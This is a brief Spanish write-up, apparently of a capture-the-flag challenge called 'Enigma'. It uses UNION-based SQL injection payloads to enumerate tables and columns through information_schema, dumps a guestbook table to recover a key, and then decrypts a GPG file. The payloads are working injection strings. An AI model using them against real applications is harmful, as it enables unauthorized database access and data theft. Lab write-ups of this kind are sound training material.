Enigma

Siguiendo el consejo de yoda buscamos la tabla guestbook 
Surname: INNODB_BUFFER_PAGE_LRU
ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: guestbook
ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: users
-------------------------------------------------------------
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #

Las columnas son comment_id , comment, name 
Se Extrae toda la info para esa tabla 
%' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name) from guestbook #

The key is "use the force", Luke.
Se abre y descifra el archive con Cleopatra 
Enigma.txt.gpg.